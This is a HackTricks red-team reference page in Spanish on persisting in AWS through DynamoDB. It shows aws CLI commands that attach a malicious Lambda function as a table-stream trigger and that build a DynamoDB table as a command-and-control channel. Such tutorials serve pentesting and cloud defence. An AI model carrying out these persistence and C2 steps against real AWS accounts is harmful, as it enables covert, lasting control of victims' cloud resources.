AWS - DynamoDB Persistencia

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

DynamoDB

Para m谩s informaci贸n, consulta:

AWS - DynamoDB Enum

DynamoDB Triggers con Lambda Backdoor

Usando triggers de DynamoDB, un atacante puede crear una stealthy backdoor asociando una funci贸n Lambda maliciosa a una tabla. La funci贸n Lambda puede activarse cuando se a帽ade, modifica o elimina un item, permitiendo al atacante ejecutar c贸digo arbitrario dentro de la cuenta AWS.

# Create a malicious Lambda function
aws lambda create-function \
--function-name MaliciousFunction \
--runtime nodejs14.x \
--role <LAMBDA_ROLE_ARN> \
--handler index.handler \
--zip-file fileb://malicious_function.zip \
--region <region>

# Associate the Lambda function with the DynamoDB table as a trigger
aws dynamodbstreams describe-stream \
--table-name TargetTable \
--region <region>

# Note the "StreamArn" from the output
aws lambda create-event-source-mapping \
--function-name MaliciousFunction \
--event-source <STREAM_ARN> \
--region <region>

Para mantener la persistencia, el attacker puede crear o modificar elementos en la tabla DynamoDB, lo que activar谩 la Lambda function maliciosa. Esto permite al attacker ejecutar c贸digo dentro de la cuenta AWS sin interacci贸n directa con la Lambda function.

DynamoDB as a C2 Channel

An attacker puede usar una tabla DynamoDB como un command and control (C2) channel creando elementos que contengan commands y usando compromised instances o Lambda functions para obtener y ejecutar esos commands.

# Create a DynamoDB table for C2
aws dynamodb create-table \
--table-name C2Table \
--attribute-definitions AttributeName=CommandId,AttributeType=S \
--key-schema AttributeName=CommandId,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--region <region>

# Insert a command into the table
aws dynamodb put-item \
--table-name C2Table \
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
--region <region>

Las instancias comprometidas o Lambda functions pueden consultar peri贸dicamente la C2 table en busca de nuevos comandos, ejecutarlos y, opcionalmente, reportar los resultados de vuelta a la C2 table. Esto permite al atacante mantener persistencia y control sobre los recursos comprometidos.

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks